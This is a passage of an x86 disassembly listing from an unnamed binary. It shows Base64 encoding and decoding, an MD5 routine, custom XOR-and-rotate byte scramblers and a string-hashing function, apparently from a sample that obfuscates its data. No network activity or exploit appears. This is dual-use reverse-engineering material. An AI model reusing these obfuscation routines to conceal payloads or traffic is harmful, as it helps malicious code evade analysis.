loc_409A43: ; CODE XREF: sub_4098BB+17Dj mov dl, [ecx] mov [esi+eax], dl cmp byte ptr [ecx], 0 jz short loc_409A55 inc eax cmp eax, 80h jl short loc_409A21 loc_409A55: ; CODE XREF: sub_4098BB+190j lea eax, [ebp+var_84] and [ebp+var_85], 0 push eax lea eax, [ebp+var_44] push eax lea eax, [ebp+var_184] and [ebp+var_105], 0 push eax lea eax, [ebp+var_104] push eax push [ebp+var_4] call sub_408F9D add esp, 14h pop edi pop esi loc_409A89: ; CODE XREF: sub_4098BB+4Cj ; sub_4098BB+55j pop ebx leave retn sub_4098BB endp ; =============== S U B R O U T I N E ======================================= sub_409A8C proc near ; CODE XREF: seg000:00410798p arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] cmp byte ptr [edi], 0 jz short loc_409AAF push esi loc_409A97: ; CODE XREF: sub_409A8C+20j push edi call sub_40535A push edi mov esi, eax call sub_4098BB cmp byte ptr [esi], 0 pop ecx pop ecx mov edi, esi jnz short loc_409A97 pop esi loc_409AAF: ; CODE XREF: sub_409A8C+8j pop edi retn sub_409A8C endp ; =============== S U B R O U T I N E ======================================= sub_409AB1 proc near ; CODE XREF: seg000:00410620p push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4186E0 rep stosd pop edi loc_409ABF: ; CODE XREF: sub_409AB1+1Fj movzx ecx, byte_414030[eax] mov byte_4186E0[ecx], al inc eax cmp eax, 40h jb short loc_409ABF retn sub_409AB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409AD3 proc near ; CODE XREF: sub_40735A+253p ; sub_40735A+649p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push esi call sub_410826 ; strlen cmp eax, 2 pop ecx mov [ebp+arg_0], eax jnb short loc_409AF0 xor eax, eax jmp loc_409B9C ; --------------------------------------------------------------------------- loc_409AF0: ; CODE XREF: sub_409AD3+14j push ebx push edi push 1 xor edx, edx xor ecx, ecx pop edi loc_409AF9: ; CODE XREF: sub_409AD3+BFj inc edx cmp edi, [ebp+arg_0] jnb loc_409B97 movsx ebx, byte ptr [ecx+esi] mov eax, [ebp+arg_4] mov bl, byte_4186E0[ebx] shl bl, 2 lea eax, [eax+edx-1] inc ecx inc edi cmp ecx, [ebp+arg_0] mov [eax], bl jnb short loc_409B97 movsx ebx, byte ptr [ecx+esi] mov bl, byte_4186E0[ebx] shr bl, 4 or [eax], bl inc edx cmp edi, [ebp+arg_0] jnb short loc_409B97 movsx ebx, byte ptr [ecx+esi] mov eax, [ebp+arg_4] mov bl, byte_4186E0[ebx] shl bl, 4 lea eax, [eax+edx-1] inc ecx inc edi cmp ecx, [ebp+arg_0] mov [eax], bl jnb short loc_409B97 movsx ebx, byte ptr [ecx+esi] mov bl, byte_4186E0[ebx] shr bl, 2 or [eax], bl inc edx cmp edi, [ebp+arg_0] jnb short loc_409B97 movsx ebx, byte ptr [ecx+esi] mov eax, [ebp+arg_4] mov bl, byte_4186E0[ebx] shl bl, 6 lea eax, [eax+edx-1] inc ecx inc edi cmp ecx, [ebp+arg_0] mov [eax], bl jnb short loc_409B97 movsx ebx, byte ptr [ecx+esi] mov bl, byte_4186E0[ebx] or [eax], bl inc ecx inc edi jmp loc_409AF9 ; --------------------------------------------------------------------------- loc_409B97: ; CODE XREF: sub_409AD3+2Aj ; sub_409AD3+4Bj ... pop edi lea eax, [edx-1] pop ebx loc_409B9C: ; CODE XREF: sub_409AD3+18j pop esi pop ebp retn sub_409AD3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409B9F proc near ; CODE XREF: sub_40735A+1D8p ; sub_40735A+5ABp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] mov edx, [ebp+arg_4] push 1 movzx eax, byte ptr [edi] shr eax, 2 pop esi mov al, byte_414030[eax] mov [edx], al mov cl, [edi] and cl, 3 mov eax, esi shl cl, 4 cmp [ebp+arg_8], esi jz short loc_409C3C loc_409BCB: ; CODE XREF: sub_409B9F+9Bj movzx ebx, byte ptr [esi+edi] movzx ecx, cl shr ebx, 4 or ebx, ecx mov cl, byte_414030[ebx] mov [eax+edx], cl mov cl, [esi+edi] and cl, 0Fh inc eax shl cl, 2 inc esi cmp esi, [ebp+arg_8] jz short loc_409C3C movzx ebx, byte ptr [esi+edi] movzx ecx, cl shr ebx, 6 or ebx, ecx mov cl, byte_414030[ebx] mov [eax+edx], cl mov cl, [esi+edi] and ecx, 3Fh inc eax mov cl, byte_414030[ecx] mov [eax+edx], cl inc eax inc esi cmp esi, [ebp+arg_8] jz short loc_409C4C movzx ecx, byte ptr [esi+edi] shr ecx, 2 mov cl, byte_414030[ecx] mov [eax+edx], cl mov cl, [esi+edi] and cl, 3 inc eax shl cl, 4 inc esi cmp esi, [ebp+arg_8] jnz short loc_409BCB loc_409C3C: ; CODE XREF: sub_409B9F+2Aj ; sub_409B9F+4Fj movzx ecx, cl or ecx, 1 mov cl, byte_414030[ecx] mov [eax+edx], cl inc eax loc_409C4C: ; CODE XREF: sub_409B9F+7Bj and byte ptr [eax+edx], 0 pop edi pop esi pop ebx pop ebp retn sub_409B9F endp ; =============== S U B R O U T I N E ======================================= sub_409C55 proc near ; CODE XREF: sub_40735A+218p ; sub_4098BB+A3p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi push esi call sub_410826 ; strlen pop ecx xor ecx, ecx test eax, eax jle short loc_409C81 loc_409C68: ; CODE XREF: sub_409C55+2Aj mov dl, [ecx+esi] movsx edi, dl cmp byte_4186E0[edi], 0 jnz short loc_409C7C cmp dl, 41h jnz short loc_409C87 loc_409C7C: ; CODE XREF: sub_409C55+20j inc ecx cmp ecx, eax jl short loc_409C68 loc_409C81: ; CODE XREF: sub_409C55+11j push 1 pop eax loc_409C84: ; CODE XREF: sub_409C55+34j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_409C87: ; CODE XREF: sub_409C55+25j xor eax, eax jmp short loc_409C84 sub_409C55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409C8B proc near ; CODE XREF: seg000:00410635p var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h lea eax, [ebp+var_58] push eax call sub_409F29 push [ebp+arg_4] lea eax, [ebp+var_58] push [ebp+arg_0] push eax call sub_409F51 lea eax, [ebp+var_58] push eax push offset byte_4187E4 call sub_409FF0 add esp, 18h lea eax, byte_4187E4 push 10h pop edx loc_409CC3: ; CODE XREF: sub_409C8B+40j mov cl, [eax] rol cl, cl mov [eax], cl inc eax dec edx jnz short loc_409CC3 leave retn sub_409C8B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409CCF proc near ; CODE XREF: sub_40735A+15p ; sub_40CA47+F9p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] xor ecx, ecx xor eax, eax loc_409CDA: ; CODE XREF: sub_409CCF+2Dj mov cl, [esi] test ecx, ecx jz short loc_409CFE cmp ecx, 61h jb short loc_409CE8 sub ecx, 20h loc_409CE8: ; CODE XREF: sub_409CCF+14j and ecx, 7Fh add eax, ecx and ecx, 0Fh mov cl, byte_4187E4[ecx] add eax, ecx rol eax, 3 inc esi jmp short loc_409CDA ; --------------------------------------------------------------------------- loc_409CFE: ; CODE XREF: sub_409CCF+Fj pop esi pop ebp retn sub_409CCF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409D01 proc near ; CODE XREF: seg000:0041063Dp var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push esi lea eax, [ebp+var_58] push edi push eax call sub_409F29 push [ebp+arg_4] lea eax, [ebp+var_58] push [ebp+arg_0] push eax call sub_409F51 lea eax, [ebp+var_58] push eax push offset dword_4187F8 call sub_409FF0 add esp, 18h lea esi, dword_4187F8 mov edi, esi push 10h pop ecx loc_409D3D: ; CODE XREF: sub_409D01+44j lodsb xor al, 0AAh add al, al or al, 1 stosb loop loc_409D3D pop edi pop esi leave retn sub_409D01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409D4B proc near ; CODE XREF: sub_409E1D+Dp var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push esi xor esi, esi test eax, eax mov [ebp+var_8], esi jle short loc_409DAF push ebx push edi push 10h mov edi, [ebp+arg_8] cdq pop ecx idiv ecx mov [ebp+var_1], dl shl [ebp+var_1], 2 loc_409D6F: ; CODE XREF: sub_409D4B+60j mov eax, [ebp+arg_0] push 10h lea ecx, [esi+eax] mov eax, esi cdq pop esi add byte ptr [ecx], 0CDh idiv esi movzx eax, byte ptr [edx+edi] push 10h pop ebx lea esi, [edx+edi] cdq idiv ebx mov al, [ecx] sub al, [edx+edi] mov [ecx], al mov dl, [esi] mov esi, [ebp+var_8] not dl xor dl, al xor dl, [ebp+var_1] inc dl inc esi cmp esi, [ebp+arg_4] mov [ecx], dl mov [ebp+var_8], esi jl short loc_409D6F pop edi pop ebx loc_409DAF: ; CODE XREF: sub_409D4B+10j pop esi leave retn sub_409D4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409DB2 proc near ; CODE XREF: sub_409E33+Dp var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push edi xor edi, edi test eax, eax mov [ebp+var_8], edi jle short loc_409E1A push ebx push esi push 10h mov esi, [ebp+arg_8] cdq pop ecx idiv ecx mov [ebp+var_1], dl shl [ebp+var_1], 2 loc_409DD6: ; CODE XREF: sub_409DB2+64j mov eax, [ebp+arg_0] push 10h lea ecx, [edi+eax] mov eax, edi cdq pop edi mov bl, [ecx] idiv edi dec bl xor bl, [ebp+var_1] mov [ecx], bl mov al, [edx+esi] not al xor al, bl mov byte ptr [ebp+arg_8+3], al mov [ecx], al movzx eax, byte ptr [edx+esi] add edx, esi cdq idiv edi mov edi, [ebp+var_8] mov al, [edx+esi] add al, byte ptr [ebp+arg_8+3] add al, 33h inc edi cmp edi, [ebp+arg_4] mov [ecx], al mov [ebp+var_8], edi jl short loc_409DD6 pop esi pop ebx loc_409E1A: ; CODE XREF: sub_409DB2+10j pop edi leave retn sub_409DB2 endp ; =============== S U B R O U T I N E ======================================= sub_409E1D proc near ; CODE XREF: sub_40735A+1B7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_4187F8 push [esp+4+arg_4] push [esp+8+arg_0] call sub_409D4B add esp, 0Ch retn sub_409E1D endp ; =============== S U B R O U T I N E ======================================= sub_409E33 proc near ; CODE XREF: sub_40735A+26Fp ; sub_408F9D+5CBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_4187F8 push [esp+4+arg_4] push [esp+8+arg_0] call sub_409DB2 add esp, 0Ch retn sub_409E33 endp ; =============== S U B R O U T I N E ======================================= sub_409E49 proc near ; CODE XREF: sub_40735A+1C4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebx mov ebx, [esp+4+arg_4] push esi push edi lea esi, [eax+4] push ebx push eax push esi call sub_410838 ; memcpy add esp, 0Ch call sub_40AB05 xor edi, edi test ebx, ebx jle short loc_409E88 loc_409E6D: ; CODE XREF: sub_409E49+3Dj mov cl, [edi+esi] push 1 add cl, al push eax xor cl, al mov [edi+esi], cl call sub_410B06 ; _lrotl add eax, edi inc edi pop ecx cmp edi, ebx pop ecx jl short loc_409E6D loc_409E88: ; CODE XREF: sub_409E49+22j lea edi, [ebx-1] loc_409E8B: ; CODE XREF: sub_409E49+5Ej cmp edi, 0FFFFFFFFh jz short loc_409EA9 mov cl, [edi+esi] push 1 add cl, al push eax xor cl, al mov [edi+esi], cl call sub_410B06 ; _lrotl pop ecx add eax, edi pop ecx dec edi jmp short loc_409E8B ; --------------------------------------------------------------------------- loc_409EA9: ; CODE XREF: sub_409E49+45j mov [esi-4], eax pop edi lea eax, [ebx+4] pop esi pop ebx retn sub_409E49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409EB3 proc near ; CODE XREF: sub_40735A+260p ; sub_408F9D+5BEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx push esi mov esi, [ebp+arg_0] add eax, 0FFFFFFFCh push edi mov ebx, [esi] push eax lea eax, [esi+4] push eax push esi call sub_410B12 ; memmove sub [ebp+arg_4], 4 xor edi, edi add esp, 0Ch cmp [ebp+arg_4], edi jle short loc_409EFB loc_409EDD: ; CODE XREF: sub_409EB3+46j sub ebx, edi push 1 push ebx call sub_410B0C ; _lrotr mov ebx, eax mov al, [edi+esi] xor al, bl pop ecx sub al, bl pop ecx mov [edi+esi], al inc edi cmp edi, [ebp+arg_4] jl short loc_409EDD loc_409EFB: ; CODE XREF: sub_409EB3+28j mov eax, [ebp+arg_4] lea edi, [eax-1] loc_409F01: ; CODE XREF: sub_409EB3+6Cj cmp edi, 0FFFFFFFFh jz short loc_409F21 sub ebx, edi push 1 push ebx call sub_410B0C ; _lrotr mov ebx, eax mov al, [edi+esi] xor al, bl pop ecx sub al, bl pop ecx mov [edi+esi], al dec edi jmp short loc_409F01 ; --------------------------------------------------------------------------- loc_409F21: ; CODE XREF: sub_409EB3+51j mov eax, [ebp+arg_4] pop edi pop esi pop ebx pop ebp retn sub_409EB3 endp ; =============== S U B R O U T I N E ======================================= sub_409F29 proc near ; CODE XREF: sub_409C8B+Ap ; sub_409D01+Cp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword ptr [eax+10h], 0 and dword ptr [eax+14h], 0 mov dword ptr [eax], 67452301h mov dword ptr [eax+4], 0EFCDAB89h mov dword ptr [eax+8], 98BADCFEh mov dword ptr [eax+0Ch], 10325476h retn sub_409F29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409F51 proc near ; CODE XREF: sub_409C8B+19p ; sub_409D01+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push esi mov esi, [ebp+arg_0] push edi mov eax, [esi+10h] lea ecx, [eax+ebx*8] cmp ecx, eax mov [esi+10h], ecx jnb short loc_409F6D inc dword ptr [esi+14h] loc_409F6D: ; CODE XREF: sub_409F51+17j mov ecx, ebx shr ecx, 1Dh add [esi+14h], ecx shr eax, 3 and eax, 3Fh jz short loc_409FAD push 40h lea ecx, [eax+esi+18h] pop edi sub edi, eax cmp ebx, edi jnb short loc_409F91 push ebx push [ebp+arg_4] push ecx jmp short loc_409FE3 ; --------------------------------------------------------------------------- loc_409F91: ; CODE XREF: sub_409F51+37j push edi push [ebp+arg_4] push ecx call sub_410838 ; memcpy lea eax, [esi+18h] push eax push esi call sub_40A0BD add [ebp+arg_4], edi add esp, 14h sub ebx, edi loc_409FAD: ; CODE XREF: sub_409F51+2Aj cmp ebx, 40h jb short loc_409FDB mov edi, ebx shr edi, 6 loc_409FB7: ; CODE XREF: sub_409F51+88j push 40h lea eax, [esi+18h] push [ebp+arg_4] push eax call sub_410838 ; memcpy push [ebp+arg_4] push esi call sub_40A0BD add [ebp+arg_4], 40h add esp, 14h sub ebx, 40h dec edi jnz short loc_409FB7 loc_409FDB: ; CODE XREF: sub_409F51+5Fj push ebx add esi, 18h push [ebp+arg_4] push esi loc_409FE3: ; CODE XREF: sub_409F51+3Ej call sub_410838 ; memcpy add esp, 0Ch pop edi pop esi pop ebx pop ebp retn sub_409F51 endp ; =============== S U B R O U T I N E ======================================= sub_409FF0 proc near ; CODE XREF: sub_409C8B+27p ; sub_409D01+29p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] push edi push 3Fh mov eax, [esi+10h] lea edi, [esi+10h] shr eax, 3 pop ecx and eax, ecx sub ecx, eax lea edx, [eax+esi+18h] mov byte ptr [edx], 80h inc edx cmp ecx, 8 jnb short loc_40A037 push ebx push ecx push 0 push edx call sub_410850 ; memset lea ebx, [esi+18h] push ebx push esi call sub_40A0BD push 38h push 0 push ebx call sub_410850 ; memset add esp, 20h pop ebx jmp short loc_40A046 ; --------------------------------------------------------------------------- loc_40A037: ; CODE XREF: sub_409FF0+21j add ecx, 0FFFFFFF8h push ecx push 0 push edx call sub_410850 ; memset add esp, 0Ch loc_40A046: ; CODE XREF: sub_409FF0+45j push 8 lea eax, [esi+50h] push edi push eax call sub_40A078 lea eax, [esi+18h] push eax push esi call sub_40A0BD push 10h push esi push [esp+24h+arg_0] call sub_40A078 push 4 push 0 push esi call sub_410850 ; memset add esp, 2Ch pop edi pop esi retn sub_409FF0 endp ; =============== S U B R O U T I N E ======================================= sub_40A078 proc near ; CODE XREF: sub_409FF0+5Dp ; sub_409FF0+73p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp [esp+arg_8], 0 jbe short locret_40A0BC mov edx, [esp+arg_0] mov ecx, [esp+arg_4] push esi or esi, 0FFFFFFFFh lea eax, [edx+1] sub esi, edx loc_40A090: ; CODE XREF: sub_40A078+41j mov dl, [ecx] mov [eax-1], dl mov edx, [ecx] shr edx, 8 mov [eax], dl mov edx, [ecx] shr edx, 10h mov [eax+1], dl mov edx, [ecx] shr edx, 18h mov [eax+2], dl add eax, 4 add ecx, 4 lea edx, [esi+eax] cmp edx, [esp+4+arg_8] jb short loc_40A090 pop esi locret_40A0BC: ; CODE XREF: sub_40A078+5j retn sub_40A078 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A0BD proc near ; CODE XREF: sub_409F51+4Fp ; sub_409F51+78p ... var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 44h push ebx push esi push edi push 40h push [ebp+arg_4] lea eax, [ebp+var_44] push eax call sub_40A95D mov eax, [ebp+arg_0] add esp, 0Ch mov edi, [eax+4] mov edx, [eax+0Ch] mov ebx, [eax+8] mov esi, edi mov ecx, [eax] not esi and esi, edx mov edx, ebx and edx, edi or esi, edx add esi, ecx mov ecx, [ebp+var_44] lea edx, [esi+ecx-28955B88h] mov esi, edi mov ecx, edx shr ecx, 19h shl edx, 7 or ecx, edx add ecx, edi mov edx, ecx and esi, ecx not edx and edx, ebx or edx, esi mov esi, [eax+0Ch] add edx, [ebp+var_40] lea esi, [esi+edx-173848AAh] mov edx, esi shr edx, 14h shl esi, 0Ch or edx, esi add edx, ecx mov esi, edx not esi and esi, edi mov edi, edx and edi, ecx or esi, edi add esi, [ebp+var_3C] lea esi, [ebx+esi+242070DBh] mov ebx, edx mov edi, esi shr edi, 0Fh shl esi, 11h or edi, esi add edi, edx mov esi, edi and ebx, edi not esi and esi, ecx mov [ebp+var_4], edi or esi, ebx mov ebx, [eax+4] add esi, [ebp+var_38] lea ebx, [ebx+esi-3E423112h] mov esi, ebx shl esi, 16h shr ebx, 0Ah or esi, ebx add esi, edi mov ebx, esi and edi, esi not ebx and ebx, edx or ebx, edi add ebx, [ebp+var_34] lea ecx, [ecx+ebx-0A83F051h] mov edi, ecx shr edi, 19h shl ecx, 7 or edi, ecx add edi, esi mov ecx, esi mov [ebp+arg_4], edi and ecx, [ebp+arg_4] not edi and edi, [ebp+var_4] or edi, ecx add edi, [ebp+var_30] lea edx, [edx+edi+4787C62Ah] mov ecx, edx shr ecx, 14h shl edx, 0Ch or ecx, edx add ecx, [ebp+arg_4] mov edx, ecx mov edi, ecx and edi, [ebp+arg_4] mov ebx, ecx not edx and edx, esi or edx, edi mov edi, [ebp+var_4] add edx, [ebp+var_2C] lea edi, [edi+edx-57CFB9EDh] mov edx, edi shr edx, 0Fh shl edi, 11h or edx, edi add edx, ecx mov edi, edx and ebx, edx not edi and edi, [ebp+arg_4] or edi, ebx mov ebx, edx add edi, [ebp+var_28] lea esi, [esi+edi-2B96AFFh] mov edi, esi shl edi, 16h shr esi, 0Ah or edi, esi add edi, edx mov esi, edi and ebx, edi not esi and esi, ecx mov [ebp+arg_0], edi or esi, ebx mov ebx, [ebp+arg_4] add esi, [ebp+var_24] lea ebx, [ebx+esi+698098D8h] mov esi, ebx shr esi, 19h shl ebx, 7 or esi, ebx add esi, edi mov ebx, esi and edi, esi not ebx and ebx, edx or ebx, edi add ebx, [ebp+var_20] lea ecx, [ecx+ebx-74BB0851h] mov edi, ecx shr edi, 14h shl ecx, 0Ch or edi, ecx add edi, esi mov ecx, edi mov ebx, edi not ecx and ecx, [ebp+arg_0] and ebx, esi or ecx, ebx add ecx, [ebp+var_1C] lea edx, [edx+ecx-0A44Fh] mov ebx, edx shr ebx, 0Fh shl edx, 11h or ebx, edx add ebx, edi mov ecx, ebx mov edx, edi not ecx and ecx, esi and edx, ebx or ecx, edx mov edx, [ebp+arg_0] add ecx, [ebp+var_18] mov [ebp+var_4], ebx lea edx, [edx+ecx-76A32842h] mov ecx, edx shl ecx, 16h shr edx, 0Ah or ecx, edx add ecx, ebx mov edx, ecx and ebx, ecx not edx and edx, edi or edx, ebx add edx, [ebp+var_14] lea esi, [esi+edx+6B901122h] mov edx, esi shr edx, 19h shl esi, 7 or edx, esi mov esi, ecx add edx, ecx mov [ebp+arg_4], edx and esi, [ebp+arg_4] not edx and edx, [ebp+var_4] or edx, esi add edx, [ebp+var_10] lea edi, [edi+edx-2678E6Dh] mov edx, edi shr edx, 14h shl edi, 0Ch or edx, edi mov edi, ecx add edx, [ebp+arg_4] mov [ebp+arg_0], edx mov esi, edx not [ebp+arg_0] and esi, [ebp+arg_4] and edi, [ebp+arg_0] mov ebx, edx or esi, edi mov edi, [ebp+var_4] add esi, [ebp+var_C] lea edi, [edi+esi-5986BC72h] mov esi, edi shr esi, 0Fh shl edi, 11h or esi, edi add esi, edx mov [ebp+var_4], esi and ebx, esi not [ebp+var_4] mov edi, [ebp+var_4] and edi, [ebp+arg_4] or edi, ebx mov ebx, esi add edi, [ebp+var_8] and ebx, [ebp+arg_0] lea ecx, [ecx+edi+49B40821h] mov edi, ecx shl edi, 16h shr ecx, 0Ah or edi, ecx mov ecx, edx add edi, esi and ecx, edi or ecx, ebx mov ebx, [ebp+arg_4] add ecx, [ebp+var_40] lea ecx, [ebx+ecx-9E1DA9Eh] mov ebx, ecx shr ebx, 1Bh shl ecx, 5 or ebx, ecx mov ecx, [ebp+var_4] add ebx, edi and ecx, edi mov [ebp+arg_4], ebx mov [ebp+arg_0], ecx mov ecx, esi and ecx, ebx mov ebx, ecx mov ecx, [ebp+arg_0] or ecx, ebx add ecx, [ebp+var_2C] lea edx, [edx+ecx-3FBF4CC0h] mov ecx, edx shr ecx, 17h shl edx, 9 or ecx, edx mov edx, edi add ecx, [ebp+arg_4] not edx and edx, [ebp+arg_4] mov ebx, ecx and ebx, edi or edx, ebx add edx, [ebp+var_18] lea esi, [esi+edx+265E5A51h] mov edx, esi shr edx, 12h shl esi, 0Eh or edx, esi mov esi, [ebp+arg_4] add edx, ecx mov [ebp+var_4], edx and edx, [ebp+arg_4] not esi and esi, ecx mov ebx, [ebp+var_4] or esi, edx add esi, [ebp+var_44] lea edi, [edi+esi-16493856h] mov esi, ecx mov edx, edi shl edx, 14h shr edi, 0Ch or edx, edi mov edi, ecx add edx, ebx not esi and esi, ebx and edi, edx or esi, edi mov edi, [ebp+arg_4] add esi, [ebp+var_30] lea esi, [edi+esi-29D0EFA3h] mov edi, esi shr edi, 1Bh shl esi, 5 or edi, esi mov esi, ebx add edi, edx mov [ebp+arg_4], edi mov edi, ebx and edi, [ebp+arg_4] not esi and esi, edx or esi, edi add esi, [ebp+var_1C] lea ecx, [ecx+esi+2441453h] mov esi, ecx shr esi, 17h shl ecx, 9 or esi, ecx mov ecx, edx add esi, [ebp+arg_4] not ecx and ecx, [ebp+arg_4] mov edi, esi and edi, edx or ecx, edi add ecx, [ebp+var_8] lea edi, [ebx+ecx-275E197Fh] mov ecx, edi shr ecx, 12h shl edi, 0Eh or ecx, edi mov edi, [ebp+arg_4] add ecx, esi mov ebx, ecx and ebx, [ebp+arg_4] not edi and edi, esi or edi, ebx mov ebx, esi add edi, [ebp+var_34] lea edx, [edx+edi-182C0438h] mov edi, edx shl edi, 14h shr edx, 0Ch or edi, edx mov edx, esi add edi, ecx not edx and edx, ecx and ebx, edi or edx, ebx mov ebx, [ebp+arg_4] add edx, [ebp+var_20] mov [ebp+arg_0], edi lea ebx, [ebx+edx+21E1CDE6h] mov edx, ebx shr edx, 1Bh shl ebx, 5 or edx, ebx mov ebx, ecx not ebx add edx, edi and ebx, edi mov edi, ecx and edi, edx or ebx, edi add ebx, [ebp+var_C] lea esi, [esi+ebx-3CC8F82Ah] mov edi, esi shr edi, 17h shl esi, 9 or edi, esi mov esi, [ebp+arg_0] add edi, edx mov ebx, edi and ebx, [ebp+arg_0] not esi and esi, edx or esi, ebx add esi, [ebp+var_38] lea ecx, [ecx+esi-0B2AF279h] mov esi, ecx shr esi, 12h shl ecx, 0Eh or esi, ecx mov ecx, edx add esi, edi not ecx mov ebx, esi and ecx, edi and ebx, edx or ecx, ebx mov ebx, [ebp+arg_0] add ecx, [ebp+var_24] lea ecx, [ebx+ecx+455A14EDh] mov ebx, ecx shl ebx, 14h shr ecx, 0Ch or ebx, ecx mov ecx, edi add ebx, esi mov [ebp+arg_0], ebx mov ebx, edi and ebx, [ebp+arg_0] not ecx and ecx, esi or ecx, ebx add ecx, [ebp+var_10] lea edx, [edx+ecx-561C16FBh] mov ecx, edx shr ecx, 1Bh shl edx, 5 or ecx, edx mov edx, esi add ecx, [ebp+arg_0] mov [ebp+arg_4], ecx mov ecx, esi and edx, [ebp+arg_4] mov ebx, [ebp+arg_4] not ecx and ecx, [ebp+arg_0] or ecx, edx mov edx, [ebp+arg_0] add ecx, [ebp+var_3C] not edx and edx, ebx lea edi, [edi+ecx-3105C08h] mov ecx, edi shr ecx, 17h shl edi, 9 or ecx, edi add ecx, ebx mov edi, ecx and edi, [ebp+arg_0] or edx, edi add edx, [ebp+var_28] lea esi, [esi+edx+676F02D9h] mov edx, esi shr edx, 12h shl esi, 0Eh or edx, esi mov esi, ebx add edx, ecx not esi mov edi, edx and esi, ecx and edi, ebx or esi, edi mov edi, [ebp+arg_0] add esi, [ebp+var_14] lea edi, [edi+esi-72D5B376h] mov esi, edi shl esi, 14h shr edi, 0Ch or esi, edi mov edi, ecx add esi, edx xor edi, edx xor edi, esi add edi, [ebp+var_30] lea ebx, [ebx+edi-5C6BEh] mov edi, ebx shr edi, 1Ch shl ebx, 4 or edi, ebx mov ebx, edx add edi, esi xor ebx, esi xor ebx, edi add ebx, [ebp+var_24] lea ecx, [ecx+ebx-788E097Fh] mov ebx, ecx shr ebx, 15h shl ecx, 0Bh or ebx, ecx add ebx, edi mov ecx, ebx xor ecx, esi xor ecx, edi add ecx, [ebp+var_18] lea edx, [edx+ecx+6D9D6122h] mov ecx, edx shr ecx, 10h shl edx, 10h or ecx, edx mov edx, ebx add ecx, ebx mov [ebp+var_4], ecx xor edx, ecx mov ecx, edx xor ecx, edi add ecx, [ebp+var_C] lea esi, [esi+ecx-21AC7F4h] mov ecx, esi shl ecx, 17h shr esi, 9 or ecx, esi add ecx, [ebp+var_4] xor edx, ecx add edx, [ebp+var_40] lea edi, [edi+edx-5B4115BCh] mov edx, edi shr edx, 1Ch shl edi, 4 or edx, edi mov edi, [ebp+var_4] mov esi, edi add edx, ecx xor esi, ecx xor esi, edx add esi, [ebp+var_34] lea ebx, [ebx+esi+4BDECFA9h] mov esi, ebx shr esi, 15h shl ebx, 0Bh or esi, ebx add esi, edx mov ebx, esi mov [ebp+arg_4], esi xor ebx, ecx xor ebx, edx add ebx, [ebp+var_28] lea ebx, [edi+ebx-944B4B0h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx add edi, esi xor [ebp+arg_4], edi mov ebx, [ebp+arg_4] xor ebx, edx add ebx, [ebp+var_1C] lea ebx, [ecx+ebx-41404390h] mov ecx, ebx shl ecx, 17h shr ebx, 9 or ecx, ebx mov ebx, [ebp+arg_4] add ecx, edi xor ebx, ecx add ebx, [ebp+var_10] lea ebx, [edx+ebx+289B7EC6h] mov edx, ebx shr edx, 1Ch shl ebx, 4 or edx, ebx mov ebx, edi add edx, ecx xor ebx, ecx xor ebx, edx add ebx, [ebp+var_44] lea esi, [esi+ebx-155ED806h] mov ebx, esi shr ebx, 15h shl esi, 0Bh or ebx, esi add ebx, edx mov esi, ebx mov [ebp+arg_4], ebx xor esi, ecx xor esi, edx add esi, [ebp+var_38] lea esi, [edi+esi-2B10CF7Bh] mov edi, esi shr edi, 10h shl esi, 10h or edi, esi add edi, ebx xor [ebp+arg_4], edi mov esi, [ebp+arg_4] xor esi, edx add esi, [ebp+var_2C] lea esi, 